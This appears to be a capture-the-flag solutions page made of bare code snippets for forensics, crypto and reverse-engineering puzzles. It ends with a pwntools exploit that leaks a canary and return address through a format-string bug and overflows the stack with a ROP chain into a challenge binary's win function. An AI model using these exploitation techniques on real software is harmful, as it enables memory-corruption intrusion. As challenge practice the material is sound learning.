Challenges#

1
from csv import DictReader
2

3
reader = DictReader(open("./manifest.csv", "r"))
4
seq = [(int(i["sequence"]), i["fragment"]) for i in reader if i["status"] == "ACTIVE"]
5
seq.sort(key=lambda x: x[0])
6
open("./recovery.gz", "wb").write(b"".join([open(i[1], "rb").read() for i in seq]))

1
ACU24-7C19A2

1
d = open("./IMG_20260728_2110.jpg", "rb").read()
2
open("./file.zip", "wb").write(d[d.find(b"\xff\xd9")+2:])

1
l = """
2
segments/s_91c4.bin
3
segments/s_0a7e.bin
4
segments/s_b219.bin
5
segments/s_44d0.bin
6
segments/s_e8f3.bin
7
segments/s_2f6a.bin
8
segments/s_c731.bin
9
""".strip().split("\n")
10

11
open("file.xz", "wb").write(b"".join([open(i, "rb").read() for i in l]))

1
from typing import TypedDict
2

3
class Recode(TypedDict):
4
    NODE_ID: str
5
    NEXT_ID: str
6
    DATA_HEX: str
7
    CHECKSUM: str
8
    STATUS: str
9

10
raw = [i.strip().split("|") for i in open("./relay_nodes.txt", "r").read().split()]
11
raw = [i for i in raw if i[-1] == "ACTIVE"]
12
data: dict[str, Recode] = {j[0]: Recode(NODE_ID=j[0], NEXT_ID=j[1], DATA_HEX=j[2], CHECKSUM=j[3], STATUS=j[4]) for j in raw}
13

14
START_NODE="9d6c"
15
KEY_SEED=37
16

17
def enter(stack: list[Recode], mask: list[int], block: Recode | None):
18
    if block is None:
19
        print("".join([chr(i) for i in mask]))
20
    else:
21
        m = (int(block["NODE_ID"], 16) + (len(stack) * KEY_SEED)) % 256
22
        stack.append(block)
23
        mask.append(int(block["DATA_HEX"], 16) ^ m)
24
        enter(stack, mask, data[block["NEXT_ID"]] if block["NEXT_ID"] != "END" else None)
25
        stack.pop()
26
        mask.pop()
27

28
enter([], [], data[START_NODE])

1
data = bytes.fromhex(open("./ciphertext.txt", "r").read().strip())
2

3
import hashlib
4
import encoder
5

6
BLOCK_SIZE = 8
7
PERMUTATION = [3, 6, 1, 7, 0, 4, 2, 5]
8

9
def repermute_block(block: bytes) -> bytes:
10
    if len(block) != BLOCK_SIZE: raise ValueError("Invalid block size")
11
    buf = bytearray(BLOCK_SIZE)
12
    for i in range(BLOCK_SIZE): buf[PERMUTATION[i]] = block[i]
13
    return bytes(buf)
14

15
def decrypt_block(block: bytes, block_index: int, previous_cipher: bytes) -> bytes:
16
    key = encoder.derive_key(block_index, previous_cipher)
17
    decrypted = bytearray()
18

19
    for position, value in enumerate(block):
20
        shift = (block_index + position + key[position]) % 8
21
        v = encoder.rol8(value, -shift)
22
        mixed = v ^ key[position]
23
        decrypted.append(mixed)
24

25
    return repermute_block(bytes(decrypted))
26

27
def decrypt(data: bytes):
28
    stack = []
29
    for offset in range(len(data), 0, -BLOCK_SIZE):
30
        if offset == BLOCK_SIZE:
31
            previous_cipher = bytes(BLOCK_SIZE)
32
        else:
33
            previous_cipher = data[(offset-BLOCK_SIZE) - BLOCK_SIZE: (offset-BLOCK_SIZE)]
34

35
        block_index = offset // BLOCK_SIZE
36
        block_index -= 1
37
        block = data[offset-BLOCK_SIZE: offset]
38
        decrypted = decrypt_block(block, block_index, previous_cipher)
39
        stack.append(decrypted)
40

41
    stack: list[bytes] = stack[::-1]
42
    output = bytearray()
43
    for i in stack: output.extend(i)
44

45
    return output
46

47
print(decrypt(data).decode())

1
if (iVar3 + ((SUB168(SEXT816(-0xff00ff00ff00ff) * SEXT816(iVar3),8) + iVar3 >> 8) - (iVar3 >> 0x3f)) * -0x101 == 0x16) goto LAB_0049676f;
2
// |
3
// V
4
if (iVar3 % 257 == 22) goto LAB_0049676f;

1
// seed = 1337c0de42
2
// expected = 7a8ff5dcd9ed7ab30c21966b8c94463bee6fd36e55ccb3bef83251f16d3e477d
3

4
iVar4 = 0;
5
dVar6 = 0;
6

7
while( true ) {
8
  if (main.expected.len <= iVar4) return (char)dVar6 == '\0';
9
  if (main.seed.len == 0) break;
10

11
  uVar5 = iVar4 % main.seed.len;
12
  pbVar1 = main.expected.array + iVar4;
13
  bVar7 = main.seed.array[uVar5] ^ input.str[iVar4];
14
  bVar2 = (char)iVar4 + ((char)(iVar4 / 7) + (char)(iVar4 >> 0x3f)) * -7 + 1U & 7;
15
  sVar3 = (sdword)iVar4;
16
  iVar4 = iVar4 + 1;
17
  dVar6 = dVar6 | (dword)*pbVar1 ^ sVar3 * 3 + 0x21U ^ sVar3 * 0xb + 7 + (dword)(byte)(bVar7 << bVar2 | bVar7 >> 8 - bVar2);
18
}

1
dVar6 = 0
2
for i in range(32):
3
    bVar7 = seed[i % 5] ^ key[i]
4
    bVar2 = ((i % 7) + 1) & 7
5
    rol = ((bVar7 << bVar2) | (bVar7 >> (8 - bVar2))) & 0xFF
6
    term = expected[i] ^ (i * 3 + 0x21) ^ ((i * 11 + 7 + rol) & 0xFF)
7
    dVar6 |= term
8

9
assert dVar6 == 0 # check แค่ low byte แต่เรา & 0xFF ไปแล้ว

1
seed = bytes.fromhex("1337c0de42")
2
expected = bytes.fromhex("7a8ff5dcd9ed7ab30c21966b8c94463bee6fd36e55ccb3bef83251f16d3e477d")
3

4
def ror8(b, k):
5
    k %= 8
6
    return ((b >> k) | (b << (8 - k))) & 0xFF
7

8
key = ""
9
for i in range(32):
10
    k = ((i % 7) + 1) & 7
11
    rol = ((expected[i] ^ (i * 3 + 0x21)) - (i * 11 + 7)) & 0xFF
12
    bVar7 = ror8(rol, k)
13
    key += chr(seed[i % 5] ^ bVar7)
14

15
print(key) # 9Qv2Lm7Xk4Pz8Rta6Wc3Yh5Dj1Sf0BnM

1
rt_main = 0x0000555555555591
2
rt_return_to_main = 0x0000555555555611
3
diff = 128
4

5
rt_base = rt_return_to_main - (main_offset + 128)
6
rt_main = rt_base + 0x1591
7
rt_win = rt_base + 0x11d2
8
rt_pop_rdi = rt_base + 0x11c9
9
rt_ret = rt_base + 0x11ce

1
[136] - padding
2
[8] - leak canary
3
[8] - saved RBP
4
[8] - address gadget_ret (saved RIP)
5
[8] - address gadget_pop_rdi
6
[8] - argument 0x1337c0decafebabe
7
[8] - address win

1
from pwn import *
2

3
p = process("./echoed_return")
4

5
p.recvuntil(b"Analyst name: ")
6
p.sendline(b"%39$p,%41$p")
7
p.recvuntil(b"Audit tag: ")
8

9
leak_return_main, leak_canary = map(lambda x: int(x, 16), p.recvuntil(b"\n\n")[:-2].split(b","))
10
rt_base = leak_return_main - (0x1591 + 128)
11
rt_main = rt_base + 0x1591
12
rt_win = rt_base + 0x11d2
13
rt_pop_rdi = rt_base + 0x11c9
14
rt_ret = rt_base + 0x11ce
15

16
log.success(f"leak return to main: {hex(leak_return_main)}")
17
log.success(f"leak canary: {hex(leak_canary)}")
18
log.info(f"runtime base: {hex(rt_base)}")
19
log.info(f"main: {hex(rt_main)}")
20
log.info(f"win: {hex(rt_win)}")
21
log.info(f"gadget_pop_rdi: {hex(rt_pop_rdi)}")
22
log.info(f"gadget_ret: {hex(rt_ret)}")
23

24
p.recvuntil(b"Report data: ")
25
p.sendline(flat(
26
    b"A" * 136,
27
    p64(leak_canary),
28
    p64(0), # saved RBP
29
    p64(rt_ret), # stack alignment
30
    p64(rt_pop_rdi),
31
    p64(0x1337c0decafebabe), # Argument
32
    p64(rt_win),
33
))
34

35
print(p.recvall(timeout=3).decode())